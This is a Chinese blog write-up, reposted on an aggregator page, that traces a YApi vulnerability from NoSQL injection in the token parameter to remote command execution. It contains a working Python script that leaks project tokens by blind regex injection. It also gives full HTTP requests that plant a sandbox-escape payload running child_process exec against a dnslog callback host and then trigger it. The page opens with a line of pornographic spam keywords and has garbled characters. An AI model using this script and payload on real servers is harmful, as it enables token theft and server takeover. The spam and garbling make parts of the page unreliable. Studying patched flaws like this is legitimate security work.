国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

這篇具有很好參考價值的文章主要介紹了YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

0x00 前提

這個是前幾個月的漏洞,之前爆出來發(fā)現(xiàn)沒人分析就看了一下,也寫了一片 Nosql注入的文章,最近生病在家,把這個寫一半的完善一下發(fā)出來吧。

0x01 介紹

YApi是一個可本地部署的、打通前后端及QA的、可視化的接口管理平臺。

YApi 是高效易用、功能強(qiáng)大的 api 管理平臺,旨在為開發(fā)、產(chǎn)品、測試人員提供更優(yōu)雅的接口管理服務(wù)??梢詭椭_發(fā)者輕松創(chuàng)建、發(fā)布、維護(hù) API,YApi 還為用戶提供了優(yōu)秀的交互體驗,開發(fā)人員只需利用平臺提供的接口數(shù)據(jù)寫入工具以及簡單的點擊操作就可以實現(xiàn)接口的管理。在其1.12.0版本之前,存在一處NoSQL注入漏洞,通過該漏洞攻擊者可以竊取項目Token,并利用這個Token執(zhí)行任意Mock腳本,獲取服務(wù)器權(quán)限。

[YMFE/yapi: YApi 是一個可本地部署的、打通前后端及QA的、可視化的接口管理平臺 (github.com)]

https://github.com/YMFE/yapi

當(dāng)時年底爆出來的從未授權(quán)注入到rce的利用,就是從一個buffix出來的,就是下面這個鏈接

參考鏈接:

  • https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c

Bugfix 2022 11 01 (#2628)

* fix: 修復(fù)【Mongo 注入獲取 token】的問題

* chore: up version

* chore: 關(guān)閉 Pre-request Script 和 Pre-response Script

v1.11.0 之后 如下腳本功能關(guān)閉,如需打開,請聯(lián)系管理員添加. 在 db, mail 同級配置 scriptEnable: true, 并重啟服務(wù) 即可

Co-authored-by: ariesly <ariesly@arieslymac13.local>

0x02 環(huán)境

當(dāng)時自己搭建的環(huán)境,起一個docker 的 mongo,本地起一個yapi

自己手動搭建, 注意要自己下載帶漏洞的版本

mkdir yapi
cd yapi
git clone https://github.com/YMFE/yapi.git vendors //或者下載 zip 包解壓到 vendors 目錄(clone 整個倉庫大概 140+ M,可以通過 `git clone --depth=1 https://github.com/YMFE/yapi.git vendors` 命令減少,大概 10+ M)
cp vendors/config_example.json ./config.json //復(fù)制完成后請修改相關(guān)配置
cd vendors

yapi server 
訪問 在瀏覽器打開 http://0.0.0.0:9090 訪問。非本地服務(wù)器,請將 0.0.0.0 替換成指定的域名或ip 

其實也可以直接調(diào)試P師傅的環(huán)境,也是十分方便的,因為自己裝確實有好幾個bug,卡了半天。

0x03 漏洞分析

首先看到是補(bǔ)丁,補(bǔ)丁感覺修復(fù)的東西就幾行,重要的就這個?

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

加了一行判斷,要token為string

問題來了,正常應(yīng)用的話,token難道不都是String嗎?這個其實我一開始也沒看明白

但是我們了解 Nosql注入之后,就知道是哪一種情況,基本上就傳入了一個數(shù)組導(dǎo)致的問題

而且也定位了 token 這個參數(shù)出現(xiàn)了問題,那先把注入搞定

0x04 注入

直接打斷點,然后看一下路由,哪些路由回到這邊

而且這中文注釋,很清楚了吧,haiy

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

最后跟到getProjectIdByToken里面,最后是一個mango 的sql查詢了

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

這里其實看似是沒有問題的,因為是一個預(yù)編譯的情況

但是這里是 mongo注入的經(jīng)典情況,可以傳入一個數(shù)組 , 就可以構(gòu)成一個注入了

0x05 如何傳入一個數(shù)組

直接構(gòu)造一下試一下

GET /api/project/get?token={"token":{"$regex":"^1"}} HTTP/1.1

答案顯然是不行的

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

這里yapi用的是一個叫 koa web的通用web框架,

那么利用 koa web框架 中會解析 json格式,轉(zhuǎn)化為一個數(shù)組

我們主要需要 Content-Type: application/json

就可以解析json轉(zhuǎn)化為數(shù)組,最終成為成功傳入數(shù)組

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

0x06 注入判斷

正確的情況:

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

錯誤的情況:

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

那么就是一個標(biāo)準(zhǔn)的盲注情況,寫個poc

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
target = 'http://127.0.0.1:3333/api/plugin/export'
token = ''

json_data = {
            "token": {
                "$regex":"^"+token
            }
        }

while True:
    for word in string.printable:
        if word not in ['*', '+', '.', '?', '|', '#', '&', '$']:
            json_data = {
                "token": {
                    "$regex": "^" + token+word
                }
            }
            r = requests.get(url=target,json=json_data, )
            # print(r.text)
            if 'html' in r.text:
                print("Found one more char : %s" % (token+word))
                token += word

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

0x07 Token轉(zhuǎn)換

因為我們發(fā)現(xiàn)我, 注入出來的這個token不對的

明顯和真實的token長度都不一樣嗎

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

那么應(yīng)該還有一個轉(zhuǎn)化的步驟,當(dāng)傳遞過來的token后,會先進(jìn)行一次aseDecode方法

隨后獲取到正確的uid 才能正常后續(xù)的操作。

如果解密失敗,就會默認(rèn)給一個99999,就是沒權(quán)限。

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

那么我們先解決第一個解密的問題,還是一個硬編碼 abcde

所以就來一個對應(yīng)的加密腳本

0x08 RCE的原理

那肯定是要利用這個token來做文章了

那么他可以做什么? 明顯要看一下運行自動化測試這個東西

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

看了一下,只是運行一個項目,需要一個 id 的參數(shù),那這個應(yīng)該是最后觸發(fā)的條件。

然后發(fā)現(xiàn)這里可以加入腳步

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

測試一下,可以正常觸發(fā)

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

可以利用

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

那么rce的利用流程大概就是這幾步

1.注入獲取token

2.添加任意測試用例

3.修改項目Pre-response Script腳本

4.調(diào)用/api/open/run_auto_test,

5.完成RCE。

0x09 爆破一下

那么現(xiàn)在就是一個要往里面設(shè)置payload,

就是要獲得這個項目ID,其實還需要用戶ID

但是好處是這兩個ID都是小數(shù),可以直接爆破

爆破項目project_id,可以用這個接口,也有其他接口

http://127.0.0.1:3000/api/project/get?id=1&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

這個接口上傳腳本

POST /api/project/up HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 221

id=66&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('ping 6666.rwzdkn.dnslog.cn')

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

最后,運行腳本,觸發(fā)命令執(zhí)行,結(jié)束

GET /api/open/run_auto_test HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 88

{
"id":"66","token":"fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1"}

YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

0x10 總結(jié)

其實RCE這個問題,屬于后臺利用吧,是nodejs的vm模塊出現(xiàn)的問題

主要還是在于項目的 token可以被注入出來,那么就可以任意操作項目了,那存在這種可以執(zhí)行腳本的模塊也是文章來源地址http://www.zghlxwxcb.cn/news/detail-423715.html

到了這里,關(guān)于YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • HVV爆火漏洞:最新 WPS RCE (遠(yuǎn)程命令執(zhí)行) 復(fù)現(xiàn)

    HVV爆火漏洞:最新 WPS RCE (遠(yuǎn)程命令執(zhí)行) 復(fù)現(xiàn)

    最近HVV爆出的很火的WPS命令執(zhí)行漏洞,其實并不是0DAY,早在2019年就出現(xiàn)了,只不過最近EXP才公開。接下來我們來復(fù)現(xiàn)一遍。 WPS Office 2023 個人版 11.1.0.15120 WPS Office 2019 企業(yè)版 11.8.2.12085 wps版本: WPS V11.1.0.12300 靶機(jī): windows 10 攻擊機(jī): ubuntu 20.04 ????IP:192.168.2.103 WPS 內(nèi)置了一

    2024年02月11日
    瀏覽(22)
  • Yapi命令執(zhí)行漏洞復(fù)現(xiàn)

    Yapi命令執(zhí)行漏洞復(fù)現(xiàn)

    YApi 是高效、易用、功能強(qiáng)大的 api 管理平臺,旨在為開發(fā)、產(chǎn)品、測試人員提供更優(yōu)雅的接口管理服務(wù)??梢詭椭_發(fā)者輕松創(chuàng)建、發(fā)布、維護(hù) API,YApi 還為用戶提供了優(yōu)秀的交互體驗,開發(fā)人員只需利用平臺提供的接口數(shù)據(jù)寫入工具以及簡單的點擊操作就可以實現(xiàn)接口的管

    2024年02月12日
    瀏覽(18)
  • 【CTF】命令執(zhí)行RCE

    【CTF】命令執(zhí)行RCE

    *方法一* : 查看靶場內(nèi)容,其中過濾了flag字樣,那么也就是說可以執(zhí)行phpinfo()、system()等的命令。一般目標(biāo)的敏感文件位于tmp目錄下,使用命令c=system(“l(fā)s /tmp”)查看tmp目錄下的文件,由結(jié)果可看出其中有flag.php文件。然后使用命令system(“cat /tmp/flag.php”)即理論上可以查看

    2024年02月03日
    瀏覽(19)
  • RCE代碼執(zhí)行漏和命令執(zhí)行漏洞

    RCE代碼執(zhí)行漏和命令執(zhí)行漏洞

    前置知識: 漏洞檢測: 在了解漏洞概念前,應(yīng)該先知道一下這個漏洞如何檢測的,我們應(yīng)該或多或少聽過白盒測試(白盒),黑盒測試(黑盒)。 白盒測試: 白盒測試是對源代碼和內(nèi)部結(jié)構(gòu)的測試,測試人員是可以知道內(nèi)部的邏輯和結(jié)構(gòu)的,差不多就是代碼審計。 黑盒測試:

    2024年02月19日
    瀏覽(31)
  • RCE代碼及命令執(zhí)行(詳解)

    RCE代碼及命令執(zhí)行(詳解)

    ??RCE漏洞,可以讓攻擊者直接向后臺服務(wù)器遠(yuǎn)程注入操作系統(tǒng)命令或者代碼,從而控制后臺系統(tǒng)。 ??1)調(diào)用第三方組件存在的代碼執(zhí)行漏洞。 ??2)用戶輸入的內(nèi)容作為系統(tǒng)命令的參數(shù)拼接到命令中。 ??3)對用戶的輸入過濾不嚴(yán)格。 ??4)可控變量或漏洞函數(shù)。 ??像

    2024年02月11日
    瀏覽(21)
  • RCE代碼及命令執(zhí)行漏洞全解(30)

    RCE代碼及命令執(zhí)行漏洞全解(30)

    ?web應(yīng)用中,有時候程序員為了考慮靈活性,簡潔性,會在代碼中調(diào)用代碼或執(zhí)行命令執(zhí)行函數(shù)去處理。 比如當(dāng)應(yīng)用在調(diào)用一些能將字符串轉(zhuǎn)化成代碼的函數(shù)時,沒有考慮用戶是否能夠控制這些字符串,將代碼執(zhí)行漏洞,同樣調(diào)用系統(tǒng)命令處理,將造成命令執(zhí)行漏洞。 ?危害

    2024年02月07日
    瀏覽(20)
  • CVE-2021-40444分析報告微軟MHTML遠(yuǎn)程命令執(zhí)行漏洞

    2021 年 8 月 21 日,MSTIC 觀察到一名 Mandiant 員工在社交媒體上發(fā)布的帖子,該員工具有跟蹤 Cobalt Strike Beacon 基礎(chǔ)設(shè)施的經(jīng)驗。所寫文章重點介紹了一個于 2021 年 8 月 19 日上傳到 VirusTotal的 Microsoft Word 文檔(SHA-256:3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf)。 MSTIC 對樣

    2024年02月08日
    瀏覽(31)
  • Thinkphp5.0.23 rce(遠(yuǎn)程代碼執(zhí)行)的漏洞復(fù)現(xiàn)

    Thinkphp5.0.23 rce(遠(yuǎn)程代碼執(zhí)行)的漏洞復(fù)現(xiàn)

    框架介紹: ThinkPHP是一款運用極廣的PHP開發(fā)框架。 漏洞引入: 其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導(dǎo)致攻擊者可以調(diào)用Request類任意方法并構(gòu)造利用鏈,從而導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞。 1、訪問靶機(jī)地址+端口號 進(jìn)入首頁 2、Burp抓包修改傳參方式為Po

    2024年02月06日
    瀏覽(27)
  • CTFHub筆記之技能樹RCE:eval執(zhí)行、文件包含、遠(yuǎn)程包含、php://input、讀取源代碼

    CTFHub筆記之技能樹RCE:eval執(zhí)行、文件包含、遠(yuǎn)程包含、php://input、讀取源代碼

    小白一個,記錄解題過程,如有錯誤請指正! 知識點: ????????eval():把字符串 code 作為PHP代碼執(zhí)行。函數(shù)eval()語言結(jié)構(gòu)是非常危險的,因為它允許執(zhí)行任意 PHP 代碼。它這樣用是很危險的。如果您仔細(xì)的確認(rèn)過,除了使用此結(jié)構(gòu)以外別無方法, 請多加注意,不要允許傳入

    2024年02月01日
    瀏覽(21)
  • CVE-2021-22204 GitLab RCE之exiftool代碼執(zhí)行漏洞深入分析(二)

    文章寫于2022-01-19,首發(fā)在天融信阿爾法實驗室 1 前言 2 前置知識 2.1 JPEG文件格式 2.2 Perl模式匹配 3 exiftool源碼調(diào)試到漏洞分析 3.1 環(huán)境搭建 3.2 漏洞簡介 3.3 exiftool是如何解析嵌入的0xc51b標(biāo)簽 3.4 exiftool是如何調(diào)用parseAnt函數(shù) 3.5 parseAnt函數(shù)分析 3.6 parseAnt漏洞分析 4 漏洞利用 4.1

    2024年02月14日
    瀏覽(20)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包